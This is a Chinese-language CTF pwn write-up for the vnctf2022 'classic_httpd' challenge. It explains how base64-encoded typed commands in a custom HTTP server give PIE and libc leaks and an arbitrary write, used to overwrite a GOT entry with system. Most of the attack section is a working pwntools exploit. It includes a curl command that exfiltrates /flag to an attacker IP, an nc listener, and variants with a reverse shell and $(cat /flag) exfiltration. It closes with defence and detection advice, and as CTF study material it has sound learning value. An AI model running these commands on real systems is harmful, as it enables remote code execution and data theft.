vnctf2022 classic_httpd:base64 类型化命令协议暴露任意读/写,泄 PIE/libc 后改 GOT 为 system 执行命令
ctf/pwn · verified
一句话结论
vnctf2022 classic_httpd 是一个自实现的小型 HTTP 服务:请求 submit.cgi 分支会把 query 里 base64 编码的数据解码成 {type, addr1, addr2, addr3} 命令数组,其中 0x66 泄 PIE、0x88 任意读、0xf1 任意写(仅限次数);先用 0x66 拿到 codebase,用 0x88 读 GOT 拿 libc,再用 0xf1 把 system 写到 codebase+0x6048 的 GOT,最后用 0x22 分支让服务端对攻击者提供的 curl 命令调用被劫持函数,把 /flag 外带。
原理
- 服务模型:程序
bind/listen后循环accept(),每个连接pthread_create起线程处理;请求行被解析后,若目标文件存在就走正常文件服务分支,否则(或请求submit.cgi时)进入sub_1DBE一类的命令解析分支。accept()是阻塞的,所以一次只能处理一个新连接,文章中的 exp 因此分多次remote连接完成泄漏、写入和触发。 - base64 只是编码:
sub_1DBE把请求 query 中的 base64 解成一段二进制命令缓冲区,按结构体数组解析。文章逆出的命令结构包含type与addr1/addr2/addr3三个 64 位地址字段;type决定执行哪个分支。 - 类型化读写原语:
type=0xf1:执行*(addr1+addr2) = *addr3,即把addr3地址处的值写到addr1+addr2,文章称可用次数不超过 2 次,是任意写原语。type=0x88:打印*(addr1+addr2),即任意地址读,文章称可用 1 次。type=0x66:用于泄露 PIE;exp 传入addr1=4,服务端回显一个 14 位十六进制指针,减去固定偏移0x4070得到 ELF 基址。type=0x22:要求addr1='ping'、strlen(addr2)<=0xf,并把addr2处的字符串按%s输出;该分支是后续劫持 GOT 后的调用触发点。type=0x12:文章标注为未使用。- 为什么能拿 libc:
0x88读取codebase+0x60c0处的 GOT 项(exp 用p64(codebase)+p64(0x60c0)),服务端把该地址的 8 字节内容打印出来;减去题目 libc 中对应符号的偏移0x1232c0得到 libc 基址,system = libc_base + 0x55410。 - 为什么能改 GOT:
0xf1的写入目标完全由攻击者给的两个 64 位字段相加决定,没有任何范围/可写性检查;程序的 GOT 可写(非 Full RELRO),所以把system写到codebase+0x6048的 GOT 槽即可。文章把该槽标注为strcasecmp@GOT;具体是哪个导入函数以题目二进制为准,关键是该槽对应的函数会在0x22分支中以攻击者可控的字符串为参数被调用,从而变成system(addr2)。 - 为什么能执行命令:
0x22分支原本只是“打印字符串”,但函数调用经过被改写的 GOT 后就变成system(字符串);exp 把addr2设为curl -X POST -F "flag=@/flag" <attacker>,目标主动把/flag作为 multipart 文件外带到攻击者监听端口,绕开“服务端没有回显命令输出”的限制。 - 与非预期解的区别:同一服务还存在请求路径未过滤
../的目录穿越(POST /../flag直接读根目录 flag),那是独立的文件处理缺陷,见关联卡;本卡走的是命令协议的内存读写链。
触发条件
- 目标为自实现/极简 HTTP 服务,存在把请求参数解码为“类型 + 地址”命令数组的解释器分支(如
submit.cgi/ 文件不存在分支)。 0x66、0x88、0xf1等分支没有对地址范围、目标内存属性、调用次数做严格限制(文章的次数限制仍够完成一次泄漏 + 一次读 + 一次写)。- GOT 可写(Partial RELRO 或未启用 Full RELRO);存在一个会在
0x22分支被调用的导入函数,且其参数可由攻击者控制。 - 已知题目 libc(或能通过
0x88泄露出 libc 符号)与 PIE 偏移;目标可发起出站连接(用于curl外带)或可写 web 目录(用于把 flag 搬到可访问路径)。 - 每个请求需要一个独立连接,因为
accept()阻塞;exp 需按阶段重连。
利用步骤
- 连接目标端口,构造
GET /submit.cgi?<base64(command_blob)> \n\n(exp 用 GET;文章叙述里也称 POST,实际以题目解析为准)。请求行末尾的空格和两个换行用于让服务端的读循环结束。 - 泄 PIE:命令为
p32(1) + p32(0x66) + p64(4) + p64(0) + p64(0);解析服务端回显的Let us look. Oh! That is <hex>,取前 14 个十六进制字符,减0x4070得codebase。 - 泄 libc:命令为
p32(1) + p32(0x88) + p64(codebase) + p64(0x60c0) + p64(0);解析OK! I give you some message!后的 8 字节指针,减0x1232c0得libc_base,system = libc_base + 0x55410。 - 写 GOT + 触发:命令块为
p32(2)+p32(0xf1) + p64(codebase) + p64(0x6048) + p64(system)+p32(0x22) + b"ping".ljust(8,b"\x00") + b'curl -X POST -F "flag=@/flag" <attacker_ip>:<port>';第一条命令把 GOT 改成system,第二条命令进入0x22分支,使服务端执行curl。 - 在攻击者主机监听端口,接收 multipart 请求中的
/flag;每次io.close()后重连进行下一阶段(文章 exp 分三次连接)。 - 若出站被限制,把
addr2换成把 flag 复制到 web 根的命令(如cp /flag htdocs/flag),再用普通 GET 读取;命令长度受0x22的长度检查约束时,可先写更长的命令到可写内存再用指针引用。
PoC
最小骨架(偏移按题目 libc/二进制调整;cmd() 负责 base64 与请求行):
from pwn import *
import base64
context(os='linux', arch='amd64', log_level='info')
HOST, PORT = 'target', 26097
def cmd(data):
b64 = base64.b64encode(data).decode()
return f"GET /submit.cgi?{b64} \n\n".encode()
# 1) 泄 PIE
io = remote(HOST, PORT)
io.send(cmd(p32(1) + p32(0x66) + p64(4) + p64(0) + p64(0)))
io.recvuntil(b"Let us look. Oh! That is ")
codebase = int(io.recvline()[:14], 16) - 0x4070
io.close()
# 2) 泄 libc
io = remote(HOST, PORT)
io.send(cmd(p32(1) + p32(0x88) + p64(codebase) + p64(0x60c0) + p64(0)))
io.recvuntil(b"OK! I give you some message!\n")
libc_base = int(io.recvline()[-15:-1], 16) - 0x1232c0
system = libc_base + 0x55410
io.close()
# 3) 改 GOT 并借 0x22 分支执行命令
payload = p32(2)
payload += p32(0xf1) + p64(codebase) + p64(0x6048) + p64(system)
payload += p32(0x22) + b"ping".ljust(8, b"\x00")
payload += b'curl -X POST -F "flag=@/flag" 172.18.211.41:4444'
io = remote(HOST, PORT)
io.send(cmd(payload))
io.close()
# 攻击者侧
nc -lvnp 4444
变体与关联
- 触发点变体:
0x22只是文章选择的“打印字符串”分支;任何会在 GOT 改写后被调用、且参数可控的分支都可作为触发点。被改写的也可以不是strcasecmp,而是printf、atoi、free等实际被调用的导入函数。 - 无出站变体:
system命令改为把/flag复制到 web 根、写入可访问日志/临时文件,或反弹 shell;若目标有 DNS,可用curl http://<attacker>/?x=$(cat /flag)。 - 写原语变体:若
0xf1次数不足以改 GOT,可先写__free_hook/__malloc_hook(glibc < 2.34)或栈返回地址;若0x88只能读一次,优先读 GOT 拿 libc,PIE 用0x66单独拿。 - 防护变体:Full RELRO 下 GOT 只读,需要转向 libc 钩子、
_IO结构或栈;若服务端对type做白名单,需要先找类型混淆/越界写绕过。 - 关联:[[ctf-pwn-custom-vm-opcode-native-memory-got-restart-onegadget]](自定义 VM 内存读写改 GOT)、[[ctf-pwn-bytecode-vm-signed-offset-oob-write-global-command-system]](字节码 VM 越界写命令缓冲区)、[[ctf-pwn-negative-index-note-array-copy-reloc-leak-got-system]](GOT 改 system 的另一种入口)、[[ctf-pwn-httpd-path-popen-command-injection]](同为自实现 httpd,但 sink 是
popen命令注入)。 - 非预期解:同一题的请求路径不校验
../,POST /../flag可直接读 flag(见关联的目录穿越卡)。
检测与防御
- 设计层:不要向不受信输入暴露通用的“地址 + 值”读写命令;命令类型必须白名单,地址必须落在预分配的缓冲区/结构体内,读写长度和次数要受限。
- 二进制加固:启用 PIE + Full RELRO + 栈保护;把敏感导入函数放到只读的 GOT(Full RELRO);使用
-fstack-protector-strong与 CET。 - 运行层:以最小权限运行,禁用不必要的出站网络;对
system/popen调用做审计;对submit.cgi这类调试/管理分支在生产环境直接关闭。 - 检测:请求 query 是 base64 且解码后出现
0x66/0x88/0xf1/0x22等类型字与连续 64 位地址;短时间多次连接submit.cgi;进程产生curl/wget等出站子进程;GOT 页出现写操作(如启用 mprotect 监控)。